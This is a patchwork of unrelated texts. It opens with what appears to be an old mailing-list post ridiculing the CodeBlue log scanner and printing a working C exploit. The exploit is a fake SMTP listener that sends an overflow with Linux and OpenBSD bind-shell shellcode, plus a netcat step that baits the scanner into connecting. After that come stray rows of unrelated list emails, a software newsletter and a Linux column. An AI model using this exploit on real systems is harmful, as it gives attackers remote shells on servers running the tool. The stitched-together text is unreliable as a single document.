L E S S A M E R I C A ]- * ****************************************************************************************** * * CodeBlue v5.0 by Michael (mystic@tenebrous.com) * This software is freely distributable under the terms of the GNU/GPL. * Please see file 'COPYING' /* god bless america, AND mystical mike! */ .... /* line ~273 */ /* * siginal_init: * sets up all the signals we'd like * to handle specially */ void signal_init(void) { struct sigaction sa_old, sa_new; /* signal handling */ sa_new.sa_handler = signal_handler; sigemptyset(&sa_new.sa_mask); sa_new.sa_flags = 0; sigaction(SIGINT, &sa_new, &sa_old); sigaction(SIGPIPE, &sa_new, &sa_old); } /* shared signal handler doing all sorts of stuff, not very good mike :( */ /* line ~289 */ /********************************************************************* * Our close() wrapper */ int Close(int sd) { return (close(sd)); } /* that just made me laugh */ /* line ~661 */ char logline[512]; /* logline is global */ int scan_file(FILE * fp) { char buffer[1024]; .... fgets(buffer, 1024, fp); .... if (found_infected == 1) { /* if it picks up a worm entry in the */ /* log this is true */ strcpy(logline, buffer); /* oh dear */ /* line ~827 */ char reply[512]; /* global */ char whoispath[512] = ""/usr/bin/whois""; /* global */ int main(int argc, char **argv) { ..... if (argv[i][0] == '-') switch (argv[i][1]) { case 'e':{ /* return email address */ if ((!argv[i + 1]) || (argv[i + 1][0] == '-')) DieWithRequire(argv[i]); strcpy(reply, argv[i + 1]); break; } case 'p':{ /* path to whois binary */ if ((!argv[i + 1]) || (argv[i + 1][0] == '-')) DieWithRequire(argv[i]); strcpy(whoispath, argv[i + 1]); break; } /* whoops! */ Now, all this is good for a laugh, but unless its suid, not much use :( CodeBlue will scan apache/squid logfiles looking for code red and nimda log hits. If it finds a hit, it will connect to the source ip adress of the hit and send an email warning of infection. Unfortunately, mystical mike was too far up on his high horse to write something decent. The function that does this is send_email() (line ~552) It starts off like this: int send_email(void) { int sd; char *host = malloc(sizeof(char) * 512); /* .... silly crap using popen and stuff .... */ /* host is the infected host from the logfiles * this will connect to the host on port 25 */ if ((sd = smtp_connect(host)) < SUCCESS) return -1; /* Step 0 - Get initial server response */ get_smtp_reply(sd); /* this is the function of interest */ /* line ~345 */ /********************************************************************* * fetches a reply from the SMTP server */ int get_smtp_reply(int sd) { char response[1024]; /* this is the remote host's mail server buf */ .... /* * We'll loop infinately, receiving * 1 byte at a time until we receive a carriage return * or line-feed character, signifying the end of the output */ /* GEE! THAT SOUNDS LIKE A GOOD IDEA MYSTICAL MIKE#@!#@! */ .... while (TRUE) { if (select((sd + 1), &rset, NULL, NULL, &tv) < 0) { if (errno != EINPROGRESS) { fprintf(stderr, ""[ ERROR: select() failed: %s\n"", strerror(errno)); return -1; } } if (recv(sd, (int *) &response[i], 1, RECV_FL) < 0) { /* Hello */ if (errno == EAGAIN) { if (elapsed >= smtp_timeout) { fprintf(stderr, ""[ ERROR: operation timed out\n""); fprintf(log, ""..... ERROR: operation timed out\n""); return -1; } elapsed++; usleep(smtp_timeout * 10000); continue; } else { if (!(flags & FL_BEQUIET)) fprintf(stderr, ""[ ERROR: recv() failed: %s\n"", strerror(errno)); fprintf(log, ""..... ERROR: recv() failed: %s\n"", strerror(errno)); return -1; } } if ((response[i] == '\n') || ((response[i] == '\n') && (response[i + 1] == '\n'))) break; i++; /* come here often baby? */ } So slowly but surely, response is overrun, unless it its a newline. /* * hi, this is an exploit that doesnt work. it should be enough of a point in * the right direction though. the overflow is in get_smtp_reply(), codeblue.c * is pretty damn poor, there are more!!! * * being in a funny mood one afternoon, i made some software publicly * available, the next morning i see this in my mailbox: * * ------- begin spouting off ------ * From mystic@tenebrous.com Mon Jul 22 19:50:46 2002 * Return-Path: * Delivered-To: doe@orbital.wiretapped.net * Received: (qmail 2711 invoked from network); 22 Jul 2002 19:50:45 -0000 * Received: from mail110.mail.bellsouth.net (HELO imf10bis.bellsouth.net) * (205.152.58.50) * by orbital.wiretapped.net with SMTP; 22 Jul 2002 19:50:45 -0000 * Received: from Michaels ([68.16.174.6]) by imf10bis.bellsouth.net * (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with ESMTP * id <20020722195143.XJOI21884.imf10bis.bellsouth.net@Michaels> * for ; Mon, 22 Jul 2002 15:51:43 -0400 * From: ""Michael"" * To: ""'Demi Sex God from Hell'"" * Subject: RE: ass the attack spoofing shell * Date: Mon, 22 Jul 2002 15:50:13 -0400 * Message-ID: <000101c231b8$fedc7740$0200a8c0@Michaels> * MIME-Version: 1.0 * Content-Type: text/plain; * charset=""us-ascii"" * Content-Transfer-Encoding: 7bit * X-Priority: 3 (Normal) * X-MSMail-Priority: Normal * X-Mailer: Microsoft Outlook, Build 10.0.2616 * Importance: Normal * X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 * In-Reply-To: * Status: RO * * Annoying. Pointless. * * ------- end spouting off ------- * * HOW RUDE!@##@!@#! * * so i had a visit to www.tenebrous.com, found some software written by this * master coder, and here we are now. * * To use this against a webserver (A) using codeblue. * * $ printf ""GET /scripts/root.exe\r\n\r\n"" | nc A 80 * * this will add an entry in the access log. * * ON THE SAME HOST: * * # ./mystic_anus 25 * * wait a while. * * when codeblue runs it will pull your ip from the logs, connect to your port * 25 and try to send you a mail. because mystic is an idiot, you will get a * shell with the openbsd code!!! * * i like exclamation marks !!!! * * krad haxxor props: dedmunk (happy now#@!!#@) ph1ll1p, caddis, buo, solace, * everyone on #cw , everyone in paris (you have a lovely city, i had a lovely * time last weekend, thankyou!!!) dedmunk, everyone at netcraft (esp Mike, * hi!), everyone in sydney, dedmunk, everyone i go drinking with, anyone who * lives in london, marlinspike (yo!), the woman who sells me my cigarettes in * the morning on the way into work, thomas greene, dedmunk, adam, durab, sh00ter. * * BIG SHOUT OUT TO TOLIMAN AND ZERO SUM, UNDERSTAND!! * * propz to dme#!@#!@ * * dont forget: * * $Header: /usr/src/Projects/codeblue/codeblue.c,v 1.1 2001/08/02 20:40:01 root Exp root $ * ****************************************************************************************** * -[ G O D B L E S S A M E R I C A ]- * ****************************************************************************************** * */ #include #include #include #include #include #include #include #include #include #define OF 2048 /* this is bigger than needed */ /* Optimized the code, now it works better in bad situations */ /* i dont know who wrote this, sorry, if you wrote it, let me know */ char lunix_shellcode[]= ""\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"" ""\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"" ""\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"" ""\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"" ""\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"" ""\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"" ""\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"" ""\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh""; /* shell on port 6969/tcp shellcode for OpenBSD by noir */ long bsd_shellcode[]= { 0x4151c931,0x51514151,0x61b0c031,0x078980cd, 0x4f88c931,0x0547c604,0x084f8902,0x0647c766, 0x106a391b,0x5004478d,0x5050078b,0x68b0c031, 0x016a80cd,0x5050078b,0x6ab0c031,0xc93180cd, 0x078b5151,0xc0315050,0x80cd1eb0,0xc9310789, 0x50078b51,0xb0c03150,0x4180cd5a,0x7503f983, 0x5b23ebef,0xc9311f89,0x89074b88,0x8d51044f, 0x078b5007,0xc0315050,0x80cd3bb0,0x5151c931, 0x01b0c031,0xd8e880cd,0x2fffffff,0x2f6e6962, 0x90416873 }; int main(int argc, char *argv[]) { struct sockaddr_in sock_in; struct sockaddr_in sock_out; char *port = ""25""; int fd, a; int len; int opt; char bigbuf[OF]; char *p; long lunix_resp = 0xbfffe0ac; long bsd_resp = 0xdfbfc068; char *moo = ""220 ""; long resp = lunix_resp; char *shellcode = lunix_shellcode; printf(""strlen scode = %d\n"", strlen(shellcode)); if (argc == 2) port = argv[1]; if (argc > 2) { fprintf(stderr, ""usege: %s [port]\n"", argv[0]); exit(1); } resp += 8; p = bigbuf; memcpy(p, moo, 4); p += 4; memset(p, '\x90', 1020 - strlen(shellcode)); p += 1020 - strlen(shellcode); memcpy(p, shellcode, strlen(shellcode)); p += strlen(shellcode); memcpy(p, &resp, 4); p += 4; memcpy(p, &resp, 4); p += 4; memset(p, '\n', 4); if ((fd = socket(PF_INET, SOCK_STREAM, 0)) < 0){ perror(""socket""); exit(1); } memset(&sock_in, 0, sizeof(sock_in)); sock_in.sin_family = AF_INET; sock_in.sin_port = htons(atoi(port)); sock_in.sin_addr.s_addr = INADDR_ANY; len = sizeof(sock_in); opt = 1; if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(int)) == -1) { perror(""setsockopt""); exit(1); } if (bind(fd, (struct sockaddr *)&sock_in, len) < 0) { perror(""bind""); exit(1); } if (listen(fd, 5) < 0) { perror(""listen""); exit(1); } printf(""listening on port %d\n"", atoi(port)); for (;;) { len = sizeof(sock_out); if ((a = accept(fd, (struct sockaddr *)&sock_out, &len)) < 0){ perror(""accept""); exit(1); } printf(""got a connection from %s\n"", inet_ntoa(sock_out.sin_addr)); fflush(stdout); write(a, bigbuf, sizeof(bigbuf)); close(a); } return(1); }",0,0 """Andy C"" ",,"Tue, 26 Nov 2002 16:11:34 -0000",[zzzzteana] Search for missing lynx,"http://news.bbc.co.uk/1/hi/scotland/2515231.stm ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/46VHAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 Niall O Broin ,ilug@linux.ie,"Tue, 26 Nov 2002 16:12:12 +0000",[ILUG] NFS slowness with SuSE 8.1,"NFS as a protocol is not known for its speediness but this is absurd. I did an NFS install of a box this morning (that would be the box which won't boot from CD for those who were in IRC) and it was rather slow but I just left it to it. Having got it up, I want to copy the DVD to a disk on it so I have it handy for installing any further bits I might require. So I simply mounted the NFS exported DVD on the new box and started copying. After a couple of minutes I looked - it was transferring about 8MB a MINUTE. So I killed that and used rsync instead which is ticking away now at about 100 MB/min - still not exactly turbo charged but a lot better than the NFS rate. Any ideas as to what's making it SO slow ? There's really no point in running more nfsd processes, as there is exactly one client, so I'm a little at a loss I must say. Niall -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Andy C"" ",,"Tue, 26 Nov 2002 16:12:52 -0000",[zzzzteana] Animal attraction for sale,"http://news.bbc.co.uk/1/hi/england/2515127.stm A bizarre collection of stuffed animals could fetch up to 2m when it is sold by a Cornwall museum. The Museum of Curiosities is home to a menagerie of 10,000 Victorian stuffed animals. The museum, next to the Jamaica Inn on Bodmin Moor, gets about 30,000 visitors a year. But now the inn's owner Kevin Moore has decided to sell. Stuffed frogs are for sale Mr Moore said: ""It was very fashionable to have taxidermy on your mantlepiece in Victorian times, but it is not really in favour now."" Nevertheless, figures of up to 2m for the collection have been discussed. The museum was opened in 1861 by taxidermist Walter Potter. Tableaux include a kittens tea party, cricket-playing guinea pigs and swinging frogs. ------------------------ Yahoo! Groups Sponsor ---------------------~--> Share the magic of Harry Potter with Yahoo! Messenger http://us.click.yahoo.com/4Q_cgB/JmBFAA/46VHAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """timothy_hodkinson"" ",zzzzteana@yahoogroups.com,"Tue, 26 Nov 2002 16:14:14 -0000",[zzzzteana] Re: More Japanese stuff,"> >-- be careful when using this one.) Also, that really cute thing that > >Japanese AV girls do of leaving their panties on one leg while making love Dare I ask what a Japanese ""AV girl"" is? timh ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/46VHAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 jeremy@alum.mit.edu (Jeremy Hylton),skip@pobox.com,"Tue, 26 Nov 2002 11:14:49 -0500",Re: [Spambayes] Guidance re pickles versus DB for Outlook,">>>>> ""SM"" == Skip Montanaro writes: Jeremy> Put another way, I'd be interested to hear why you don't Jeremy> want to use ZODB. SM> Disclaimer: I'm not saying I don't want to use ZODB. I'm SM> offering some reasons why it might not be everyone's obvious SM> choice. But you're not saying you do want to use ZODB, so you're still part of the problem . SM> For most of us who have *any* experience with ZODB it's probably SM> all indirect via Zope, so there are probably some inaccurate SM> perceptions about it. These thoughts that have come to my mind SM> at one time or another: SM> * How could a database from a company (Zope) whose sole business SM> is not databases be more reliable than a database from SM> organizations whose sole raison d'etre is databases SM> (Sleepycat, Postgres, MySQL, ...)? I don't think I could argue that ZODB is more reliable that BerkeleyDB. It's true that we have fewer database experts and expend fewer resources working on database reliability. On the other hand, Barry is nearly finished with a BerkeleyDB-based storage for ZODB. ZODB is an object persistence tool that uses a database behind it. You can use our FileStorage or you can use someone else's database, although BerkeleyDB is the best we can offer at the moment. (It would be really cool to do a Postgres storage...) SM> * Dealing with Zope's monolithic system is frustrating to people SM> (like me) who are used to having files reside in SM> filesystems. Some of that frustration probably carries SM> over to ZODB, though it's almost certainly not ZODB's SM> problem. This sounds like a Zope complaint that doesn't have anything to do with ZODB, but maybe I misunderstand you. You don't have to store your code in the database, although that will be mostly possible in ZODB4. Seriously, ZODB stores object pickles in a database. The storage layer is free to manage those pickles however it likes. FileStorage uses a single file. Toby Dickenson's DirectoryStorage represents each pickle as a separate file. SM> * It seems to grow without bound, else why do I need to pack my SM> Data.fs file every now and then? It grows without bound unless you pack it. Why is that a problem? BerkeleyDB log files grow without bound, too. Databases require some tending. One possibility with FileStorage is to add an explicit pack() call to update training operation. We'd need to think carefully about the performance impact. SM> Also, there is the issue of availability. While it's just an SM> extra install, its use requires more than the usual Python SM> install. Having it in the core distribution would provide SM> stronger assurances that it runs wherever Python runs (e.g., SM> does it run on MacOS 8 or 9, both of which I believe Jack still SM> supports with his Mac installer?). I think we'd want a spambayes installer that packaged up spambayes, python, and zodb. Jeremy _______________________________________________ Spambayes mailing list Spambayes@python.org http://mail.python.org/mailman/listinfo/spambayes",0,1 Neale Pickett ,"""Mark Hammond"" ",26 Nov 2002 08:19:23 -0800,Re: [Spambayes] Guidance re pickles versus DB for Outlook,"So then, ""Mark Hammond"" is all like: > So, given that, ZODB is sounding attractive. I would package it up, so a > few hundred extra K is probably no big deal. The code could fall back to > the slow-loading pickles, so people running from source still work, just > possibly not as well. I haven't used ZODB much really but it sure looks like the Right Way. I don't think it will fly with the unwashed Unix masses, but it sounds like a piece of cake with the Windows crowd. That makes sense; you only have one OS vendor and one processor family to support. I'm going to go sulk in /dev/corner now. Neale _______________________________________________ Spambayes mailing list Spambayes@python.org http://mail.python.org/mailman/listinfo/spambayes",0,1 Conor_D_Wynne@Dell.com,ilug@linux.ie,"Wed, 4 Dec 2002 04:05:38 -0600",RE: [ILUG] NVIDIA and Debian Woody,"Hi there, Now this is probably of no use to you whatsoever, but... Not a deb-head, but I also have a problem regards NVidia. I've two machines, pretty much the same hardware. athlon 1700XP's, both have NVidia cards, one Gforce3 Ti and a Gforce2MX, both use the same driver module. Both have same kernel version albeit it compiled for their particular hardware. One works perfectly, the other fails to load. When I check with lsmod, I can see the NVdriver is loaded, but not used ;--( Thus when I startx, it bombs out. IU still have X with the default nv driver and crappy accelleration --> 650fps with glxgears [should be over 2000fps] Its not a hardware issue with the cards as I swapped them over and get the same symptoms. I reckon my mobo is cack, I've tried swapping slots around, reserving resources etc all to no avail. Should there be an interrupt for the nv card? I haven't checked the other box yet. Regards, CW ------------------- On Tue, 03 Dec 2002, Mark Page wrote: > Was running Debian Woody perfectly well until I installed the NVIDIA 3D > tar packages. You probably stil are ;) > Both the kernel and GLX packages installed with no problem and I then > amended the XFree config file appropriately (according to all > instructions). Neither GDM nor KDM will now fire up returning me to the > console screen. ie X is broken. > Running startx I isolated the problem to a failure to load the nvidia > kernel module - By cd'ing to the kernel module file and re-running 'make > install' I can get a workable xserver so you fixed X. > minus the preferences you would get from either gdm or kdm and to be > honest the GUI is horrible. If X is working and you get a brief Nvidia splash screen then this is likely nothing to do with the driver itself. You should be able to use kdm or gdm with the nvidia Xserver. What exactly did you change in your XF86Config? Will gdm/kdm not start? > I followed the nvidia suggestion of 'make install > SYSINCLUDE=/path/to/kernel/headers' and whilst this appears to install > ok upon reboot I am back to the same console login and having to go > through the same reinstall of the kernel module. I have tried rewriting > the XF config file to it's original state with no success. Well, this sounds like the NVIDIA kernel module isn't loading on boot. When it *is* working do a quick /sbin/lsmod and look for the module name (something like 'NVDriver'). Then put this on a new line in /etc/modules in order that linux will load it on boot. You can just do modprobe nvdriver to load it by hand. Your make install did this as well as reinstalling the driver in /lib etc. You should also get a message saying loading the nvidia driver taints your kernel (which it does, in the sense that it's not open source). > Is this a problem anyone else has encountered and what is the best > solution? Can I rid myself of the tar file installations and find some > specific .deb packages? The nvidia driver source is in the Woody tree. http://packages.debian.org/stable/x11/nvidia-kernel-src.html so you can do apt-get install nvidia-kernel-src and then compile, although I've always gone the route you're doing now. Ideally the nvidia driver would be a part of the kernel from day 1. However, nvidia have not open sourced it (most of the above source is pre-compiled object code), but in order for it to work with your specific kernel you must compile against your kernel headers (as you did). As debian has lots of potential kernels they can't have one nvdriver package and have chosen instead to provide the source. Actually I don't know if they're permitted to distribute binaries by nvidia's license anyway. Gavin -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. 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The program supports drag-and-drop operation and resuming interrupted downloads. It also sports a built-in address book, and integrated BBEdit links. The interface deserves awards for clarity and good looks. Grab files in style: http://clickthru.online.com/Click?q=49-ZM4cIEpSenMA07qVX4RVXFO5JSFR Want to review Captain FTP? Submit your opinion here: http://clickthru.online.com/Click?q=5e-ssGdIn06tVeUdrZhsnStcVTQzc9R Find all of the latest Internet software here: http://clickthru.online.com/Click?q=73-__ZeIBBtWIiA9y3T8UEE0WNrUZcR IN HOME AND EDUCATION: AQUILACALENDAR Version: 1.19 File size: 1.63MB License: Free to try; $20.00 to buy Minimum Requirements: Mac OS X One of the most frustrating things about off-the-shelf organizer applications is that they try to force everyone to keep track of things in the same way. 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Submit your opinion here: http://clickthru.online.com/Click?q=9e-tWQoQtMQJGrFWgHHSCN0U7nQUD4R Find all of the latest home and education software here: http://clickthru.online.com/Click?q=b3-QHzxQYKTqehBCndAE64qDAwrPGrR IN DEVELOPMENT TOOLS: TEX-EDIT PLUS Version: 4.1.3 File size: 1.17MB License: Free to try; $15.00 to buy Minimum Requirements: System 7.x Before you spend the big bucks on a HTML editor, make sure you check out Tex-Edit Plus. This handy little editor offers all the basics like unlimited Undo and Redo commands, translucent drag-and-drop capabilities, several text styles, and the option to highlight selected text. Also, you'll be able to use it to act as a text editor for an FTP client such as Fetch, Interarchy, NetFinder, or Transmit. Text editing made easy: http://clickthru.online.com/Click?q=c8-2lPnQWOzdD19YnmMKE-nFr99H2iR Want to review Tex-Edit Plus? Submit your opinion here: http://clickthru.online.com/Click?q=dd-tpm0QzWd3Dhh1zgGZP85eXsJh-PR Find all of the latest utilities here: http://clickthru.online.com/Click?q=f2-OZVTQUwWCeG9s_A0pvVdi5Z7ednR IN GAMES: BOOM Version: 1.3 File size: 2.3MB License: Free to try, $15 to buy Minimum Requirements: Mac OS 8.x/OS 9.x/OS X Remember the classic arcade game Bomberman? Even if you don't, you should take this remake of the old classic for a spin. Maneuver your way through a maze of corridors while setting off bombs to clear a path for your escape. You'll also need to pick up coins for extra points and stay clear of those nasty aliens to stay alive. Blast your way through eight alien-infested areas, each one divided into 10 subzones, and kick the Big Alien Boss back to where he came from. Blast away: http://clickthru.online.com/Click?q=07-HqCzI5rq9T_hx8KiqzUbrvLkiDeR Want to review Boom? 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Updates & Drivers: Stay on Top of Bug Fixes and New Features IN INTERNET: - DupliMizer 2.4 http://clickthru.online.com/Click?q=47-ADmxIIZH1jE333KOiJGu_NEsnEuR - Web Site Maestro 1.2 http://clickthru.online.com/Click?q=5c-BnjPIZnPblJYt8W53xlZk0f-IosR - Surfer 2.0 http://clickthru.online.com/Click?q=71-GwdUIEZcfHewddAqwuBXvl3NU2FR IN MULTIMEDIA & DESIGN: - Photo Album Builder 1.2 http://clickthru.online.com/Click?q=86-8fH1QCJonnxDZ9JSjaeTldfVpf4R - Cartoon Editor 1.2.1 http://clickthru.online.com/Click?q=9b-7-TFQSIo2p0Ld1d0dAVJ9PZAKTrR IN UTILITIES: - Battery Endurance Measurer 1.3 http://clickthru.online.com/Click?q=b0-NZmfQQJr-SlQoW6dxQMKtNX8PQiR - Pixel Tester 2.0 http://clickthru.online.com/Click?q=c5-8BcDQzOaF-iJTk_zSROUJEymxqPR - SerialStorage 1.0 http://clickthru.online.com/Click?q=da-dT8jQUPq_nOG5djbjsMVKpv3DxnR IN BUSINESS AND FINANCE: - Gym Organizer 6.5 http://clickthru.online.com/Click?q=ef-04uYQmkHvFhT_HKqBxDVAmoBameR - ChartConstructor 1.0.1 http://clickthru.online.com/Click?q=04-k9W0IFQXFQMPpsA98BbBL7kOi_yR IN HOME AND EDUCATION: - WeatherMan 1.6 http://clickthru.online.com/Click?q=19-BLe0I2rXOrA0zLlKMZ2Fz8IR7XlR - Computer Cuisine Deluxe 3.1 http://clickthru.online.com/Click?q=2f-hYaFIqnzAaNFrW5P26D_8gaZjMeR _______________________________________________________________ 5. The Week in Reviews: Mac OS X 10.1 prices If you haven't made the switch to Apple's beautiful and powerful operating system, check out these prices, which may change your mind. http://clickthru.online.com/Click?q=44-9nxfIZUtYM5fxvgEMLKlXBDgnVsR _______________________________________________________________ 6. Overheard on Download.com Here are some user comments about an alternative MP3 player for the Mac: ""Small, Low CPU Usage, Easy"" ""Excellent Alternative"" ""Neat, discreet, powerful"" ""It blows my mind!"" ""One of the best to date!"" So what's the name of this mystery download? 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Make sure that you enter exactly the same e-mail address as you used to join this service. http://list.theregister.co.uk/cgi-bin/unsub.cgi",0,1 Lockergnome Penguin Shell,qqqqqqqqqq-lg@example.com,"Tue, 9 Jul 2002 21:15:33 -0500",[Lockergnome Penguin Shell] Recursive Metaphor,"![Lockergnome](http://images.lockergnome.com/images/gnomedaily.gif) ![Linux Central](http://www.qksrv.net/image-471546-487847) --- | 07.09.2002 PenguinREPORT --- **CAREER SERVICES FROM LOCKERGNOME AND DICE.COM:** We've teamed up with Dice.com to bring you a full service I.T. career enhancement solution. Whether you are looking for your dream job or trying to hire talented people, the full-featured career resource center is the place to start. Find your IT talent solution today! --- I don't usually spend much time explaining metaphors. They are, after all, metaphorical. They can be filled with whatever symbolism you choose. Written well, we all come to some similar understanding of their meaning. But, I'll depart today, contrary to my normal practice, to take a few minutes explaining a recent metaphor. I'm a Linux guy through and through. As a user, I see myself as right about at the average on the curve. For love of the language and open source attitude, though, you'd be hard-pressed to find anyone with quite the same level of enthusiasm. Put simply, there's very little about the Linux and broader open source worlds that I don't like or believe in. Take, for example, the practice of recursive acronyms. GNU (""Gnu's Not Unix""), HURD (""Herd of Unix-Replacing Daemons""), WINE (""Wine Is Not an Emulator""), even PHP (""PHP Hypertext Processor"") - all carry on the tradition of recursion in the Unix/Linux world. Goofy as it sounds, I love this stuff. So it is that I set out to create a recursive metaphor last week. It could only have happened on or about the 4th of July. In fact, it happened in the edition of the 3rd. I wrote a piece about how we Americans spend more time over the course of a year talking about what's _wrong_ with our system than what's right. I wrote it knowing full well that many of the responses I'd get would be a) from readers outside the US and b) in sharp disagreement to my comments or those of citizens of other countries. You're following me, right? People would disagree with an article that said we spend much time disagreeing. This, of course, would prove my point in a somewhat metaphorical way - the perfect recursive metaphor. The point was to be made yet more perfectly by the eventual inclusion in Penguin Shell of the comments of someone from _outside_ the US disagreeing with my take our argumentativeness as Americans. Ideally, they would be comments that disagreed with our collective American perception of being disagreeable. They would, of course, point out things about which citizens of other countries can disagree with Americans on. By exercising the right to disagree, we'd subtly agree that we have that right. Yet another level of recursion and a final layer of metaphor. The response to both my own and Johan Sauviller's comments was overwhelming. In the main, I believe both were appreciated. Many commented on the balance of the two pieces. Some readers were surprised, I think, to see a dissenting opinion published so quickly, if at all. Overall, the ability to express honestly held opinions, to agree and to disagree on a global level closed the circle on the metaphor in a perfect way. Things have, however, gotten a bit more ugly in the past few days. I'm not sure whether some were slow in getting to the July 3rd issue, or whether it's just been stewing since then. Take, for instance, these comments by a reader who will remain mercifully nameless: > We get enough America bashing from our left-wing whacko extremist press and > schools here in the USA that we don't wish to hear some (insert favorite > adjective here) from Belgium whining too! Followed by: > ... please don't let Tony single-handedly tarnish the fine reputation of > Lockergnome. I'm sure there are other articulate Linux experts out there who > would be able to replace him. ... and, in a later note on the topic ... > Censorship is to be encouraged in a free-market society whenever and > wherever it doesn't come from the government. Clearly, the metaphor just whizzed right over the heads of some. Chris has been great about allowing all his authors plenty of room in the editorial piece at the beginning of each newsletter. This particular piece is no exception. He's shown a quiet confidence in the face of some very shrill comments. While we all generally stay focused on technical issues, Chris has shown unwavering support for the notion that we geeks are, in the end, humans with opinions and thoughts to share. I think it's one of the things that makes the Lockergnome newsletters stand out from the pack - the personal touch. So, despite the irrationality of some of this week's comments, I'll continue to occasionally throw in a personal aside with the technical stuff. Just watch out. Recursive metaphors are only funny until someone puts an eye out. Tony Steidler-Dennison GnomeTWEAK --- **Lockergnome readers, SAVE 50% on the Computing Encyclopedia!** Are you looking for the ultimate computing resource? Discover the _Computing Encyclopedia_ from Smart Computing. Regular price $59, SPECIAL OFFER for Lockergnome readers, get your set TODAY, ONLY $29.95! --- **Win Apps in Linux?** Yesterday, I mentioned an interesting review of two products for Linux by CodeWeavers \- CrossOver Office and CrossOver Plugin. You've probably heard of both by now, as they've garnered quite a bit of publicity both in and out of the Linux world. You'll recall that I promised to try to secure copies for review this week. With the help of a friendly sales rep at CodeWeavers, I was able to accomplish that task this morning. True to the second half of the promise, we'll spend the next few days looking at these two products and how they might impact your Linux use. Let's take them in chronological order, starting today with CrossOver Plugin. A bit of background is in order. CodeWeavers is, in their own words, "" ... the leading corporate backer of the Wine Project. Wine has been, for the past several years, an ongoing project to port Windows applications to Linux. It's a tough goal, but it's also one that's been undertaken by others in the past year or so. Though the progress has been slow, the Wine project has managed to stay at the front of this development realm. CrossOver Plugin marks a change in the philosophy of the Wine Project. Prior to its release, Wine had taken a ""full system"" approach. Running Windows applications in Wine required the installation of a sizeable daemon and no small amount of configuration work. CrossOver Plugin has moved Wine away from the system-wide approach to one that's much more modular. Rather than executing at system startup, Wine is called as-needed, with the virtual Windows path to the called program. When the program is closed, so is Wine. CrossOver Plugin has focused on creating Linux functionality with _one_ related set of Windows applications: browser plugins. The results stand as a clear indication that the change in philosophy is a success. Off the top, CrossOver Plugin bundles QuickTime 5, Windows Media Player 6.2, Shockwave 8.5, Flash 6, and RealPlayer 8 into a Linux-accesible browser plugin package. Throw in more esoteric apps like IPix, Trillian, Authorware Web Player 6 and eFax Messenger 2, and you've got virtually every need plugin need covered. But this package doesn't stop there. Included in the CrossOver Plugin package are viewers for Word, Excel and Powerpoint, as well as several Microsoft- oriented fonts. Honestly, I was stunned at the range of applications offered by the CodeWeavers developers. Having had some experience with Wine, I was a bit leery about the install process and about the ability to get all these great applications to work with my RedHat setup. I've never been completely successful with Wine, but I hoped for the best when I started the CrossOver Plugin installation. I really did want these apps to work. The installation was quite easy. By running the install-crossover.sh script from the command line, I was able to install the installers for both CrossOver Plugin and CrossOver Office, which we'll talk about tomorrow. I started the plugin installs with QuickTime, a tool I've admittedly missed in Linux. In the background, CrossOver Plugin had already created a virtual C:\ drive on my machine. I clicked on the QuickTime install and immediately saw a familiar sight \- the Vise installer in its Windows format. CrossOver Plugin first checked for feedback from the Windows binary, opened a virtual Windows window, then stepped out while the Vise installer took care of the rest. Though the install failed four times, it appeared to be a server failure rather than a failure of the CrossOver program. I kept ""retry""ing and, with some persistence, managed to get a full QuickTime 5 install downloaded from the Apple servers. Quite literally, the install looked and performed exactly as I've seem many times in Windows. When the install was completed, CrossOver again checked for the Windows binary, located the appropriate .dll files in the virtual C:\ drive and dropped the plugins into the /home/tony/.netscape/plugins and /home/tony/.mozilla/plugins directories. The process was so smooth that I had to check the plugin listings in these browsers - ""Help"", ""About Plugins."" Sure enough, the CrossOver QuickTime plugin was listed. Quickly, I ran out to the Apple site and opened the ""Men In Black II"" movie trailer. QuickTime performed flawlessly. I followed with the Windows Media Player, Shockwave, Flash, IPix, and eFax Messenger installs. Of those, the only ones that weren't self-contained in the CrossOver install were IPix and eFax. Even at that, the installer pointed me to the Windows download then found the .exe file when the download was done. Within a half-hour, I had all installed and tested. Then, just for grins, I installed RealPlayer 8 via CrossOver. This was despite the recommendation in the installer screen to use the Linux version. It went as smoothly as the others with one caveat - the player played media files at a much faster speed than that in Windows. Fast enough to make me laugh, in fact, reminded of Dave and Alvin the Chipmunk. Ah well, six out of seven is pretty strong given my previous troubles with Wine. I also installed a few fonts - Arial, Times New Roman, Trebuchet, and Veranda. In every case, the install was quick and absolutely painless. Wine has always held great promise. At times, it's been painful to watch the tedious pace of development, only because that promise was so alluring. With the backing of CodeWeavers and a fundamental change in the approach to development, Wine has finally realized the goal of integrating Windows 